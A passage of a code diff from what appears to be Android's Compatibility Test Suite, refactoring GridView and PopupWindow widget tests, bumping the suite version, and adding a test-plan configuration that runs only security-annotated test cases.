-                final MockGridView mockGridView = new MockGridView(mActivity);
+        final MockGridView mockGridView = new MockGridView(mActivity);
 
-                assertFalse(mockGridView.hasCalledOnFocusChanged());
-                mockGridView.setAdapter(new MockGridViewAdapter(10));
-                mockGridView.setFocusable(true);
-                mockGridView.requestFocus();
+        assertFalse(mockGridView.hasCalledOnFocusChanged());
+        mockGridView.setAdapter(new MockGridViewAdapter(10));
+        mockGridView.setFocusable(true);
+        mockGridView.requestFocus();
 
-                assertTrue(mockGridView.hasCalledOnFocusChanged());
-                mockGridView.reset();
-                assertFalse(mockGridView.hasCalledOnFocusChanged());
+        assertTrue(mockGridView.hasCalledOnFocusChanged());
+        mockGridView.reset();
+        assertFalse(mockGridView.hasCalledOnFocusChanged());
 
-                mockGridView.clearFocus();
+        mockGridView.clearFocus();
 
-                assertTrue(mockGridView.hasCalledOnFocusChanged());
-            }
-        });
+        assertTrue(mockGridView.hasCalledOnFocusChanged());
     }
 
-    @Test
     public void testOnMeasure() {
         // Do not test it. It's implementation detail.
     }
 
-    @Test
     public void testSetColumnWidth() {
         mGridView = findGridViewById(R.id.gridview);
 
@@ -600,23 +568,22 @@
         assertEquals(child0.getLeft(), child1.getLeft());
     }
 
-    @Test
     @MediumTest
     public void testFullyDetachUnusedViewOnScroll() {
         mGridView = findGridViewById(R.id.gridview);
         final AttachDetachAwareView theView = new AttachDetachAwareView(mActivity);
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mGridView, () -> {
+        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, () -> {
             mGridView.setAdapter(new DummyAdapter(1000, theView));
         });
         assertEquals("test sanity", 1, theView.mOnAttachCount);
         assertEquals("test sanity", 0, theView.mOnDetachCount);
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mGridView, () -> {
+        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, () -> {
             mGridView.scrollListBy(mGridView.getHeight() * 2);
         });
         assertNull("test sanity, unused view should be removed", theView.getParent());
         assertEquals("unused view should be detached", 1, theView.mOnDetachCount);
         assertFalse(theView.isTemporarilyDetached());
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mGridView, () -> {
+        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, () -> {
             mGridView.scrollListBy(-mGridView.getHeight() * 2);
             // listview limits scroll to 1 page which is why we call it twice here.
             mGridView.scrollListBy(-mGridView.getHeight() * 2);
@@ -627,23 +594,22 @@
         assertFalse(theView.isTemporarilyDetached());
     }
 
-    @Test
     @MediumTest
     public void testFullyDetachUnusedViewOnReLayout() {
         mGridView = findGridViewById(R.id.gridview);
         final AttachDetachAwareView theView = new AttachDetachAwareView(mActivity);
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mGridView, () -> {
+        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, () -> {
             mGridView.setAdapter(new DummyAdapter(1000, theView));
         });
         assertEquals("test sanity", 1, theView.mOnAttachCount);
         assertEquals("test sanity", 0, theView.mOnDetachCount);
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mGridView, () -> {
+        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, () -> {
             mGridView.setSelection(800);
         });
         assertNull("test sanity, unused view should be removed", theView.getParent());
         assertEquals("unused view should be detached", 1, theView.mOnDetachCount);
         assertFalse(theView.isTemporarilyDetached());
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mGridView, () -> {
+        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, () -> {
             mGridView.setSelection(0);
         });
         assertNotNull("test sanity, view should be re-added", theView.getParent());
@@ -652,26 +618,25 @@
         assertFalse(theView.isTemporarilyDetached());
     }
 
-    @Test
     @MediumTest
     public void testFullyDetachUnusedViewOnScrollForFocus() {
         mGridView = findGridViewById(R.id.gridview);
         final AttachDetachAwareView theView = new AttachDetachAwareView(mActivity);
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mGridView, () -> {
+        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, () -> {
             mGridView.setAdapter(new DummyAdapter(1000, theView));
         });
         assertEquals("test sanity", 1, theView.mOnAttachCount);
         assertEquals("test sanity", 0, theView.mOnDetachCount);
         while(theView.getParent() != null) {
             assertEquals("the view should NOT be detached", 0, theView.mOnDetachCount);
-            mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_DOWN);
-            ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mGridView, null);
+            sendKeys(KeyEvent.KEYCODE_DPAD_DOWN);
+            ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, null);
         }
         assertEquals("the view should be detached", 1, theView.mOnDetachCount);
         assertFalse(theView.isTemporarilyDetached());
         while(theView.getParent() == null) {
-            mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_UP);
-            ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mGridView, null);
+            sendKeys(KeyEvent.KEYCODE_DPAD_UP);
+            ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, null);
         }
         assertEquals("the view should be re-attached", 2, theView.mOnAttachCount);
         assertEquals("the view should not recieve another detach", 1, theView.mOnDetachCount);
diff --git a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
index 497d623..47efffc 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
@@ -663,9 +663,7 @@
         mPopupWindow = createPopupWindow(createPopupContent(50, 50));
 
         View anchorView = mActivity.findViewById(R.id.anchor_upper);
-        final Rect displayFrame = new Rect();
-        anchorView.getWindowVisibleDisplayFrame(displayFrame);
-        int avaliable = displayFrame.height() - anchorView.getHeight();
+        int avaliable = getDisplay().getHeight() - anchorView.getHeight();
         int maxAvailableHeight = mPopupWindow.getMaxAvailableHeight(anchorView);
         assertTrue(maxAvailableHeight > 0);
         assertTrue(maxAvailableHeight <= avaliable);
@@ -687,14 +685,14 @@
         // On some devices the view might actually have larger size than the physical display
         // due to chin and content will be laid out as if outside of the display. We need to use
         // larger from the display height and the main view height.
-        avaliable = Math.max(displayFrame.height(),
+        avaliable = Math.max(getDisplay().getHeight(),
                 mActivity.findViewById(android.R.id.content).getHeight()) - anchorView.getHeight();
         maxAvailableHeight = mPopupWindow.getMaxAvailableHeight(anchorView);
         assertTrue(maxAvailableHeight > 0);
         assertTrue(maxAvailableHeight <= avaliable);
 
         anchorView = mActivity.findViewById(R.id.anchor_middle_left);
-        avaliable = displayFrame.height() - anchorView.getHeight()
+        avaliable = getDisplay().getHeight() - anchorView.getHeight()
                 - mActivity.findViewById(R.id.anchor_upper).getHeight();
         maxAvailableHeight = mPopupWindow.getMaxAvailableHeight(anchorView);
         assertTrue(maxAvailableHeight > 0);
diff --git a/tools/cts-tradefed/Android.mk b/tools/cts-tradefed/Android.mk
index 8fb638c..a9bb07b 100644
--- a/tools/cts-tradefed/Android.mk
+++ b/tools/cts-tradefed/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_SUITE_TARGET_ARCH := $(TARGET_ARCH)
 LOCAL_SUITE_NAME := CTS
 LOCAL_SUITE_FULLNAME := "Compatibility Test Suite"
-LOCAL_SUITE_VERSION := 7.1_r8
+LOCAL_SUITE_VERSION := 7.1_r201708s
 
 LOCAL_MODULE := cts-tradefed
 
diff --git a/tools/cts-tradefed/res/config/security-bulletin.xml b/tools/cts-tradefed/res/config/security-bulletin.xml
new file mode 100644
index 0000000..02175a9
--- /dev/null
+++ b/tools/cts-tradefed/res/config/security-bulletin.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs Security Patch test cases">
+
+    <option name="plan" value="security-bulletin" />
+
+    <include name="cts"/>
+
+    <option name="compatibility:include-filter" value="CtsSecurityTestCases" />
+
+    <option name="compatibility:include-filter" value="CtsSecurityHostTestCases" />
+
+    <!-- Only run tests with @SecurityTest annotation. -->
+    <option name="compatibility:module-arg" value="CtsSecurityHostTestCases:include-annotation:android.platform.test.annotations.SecurityTest"/>
+
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:include-annotation:android.platform.test.annotations.SecurityTest" />
+
+</configuration>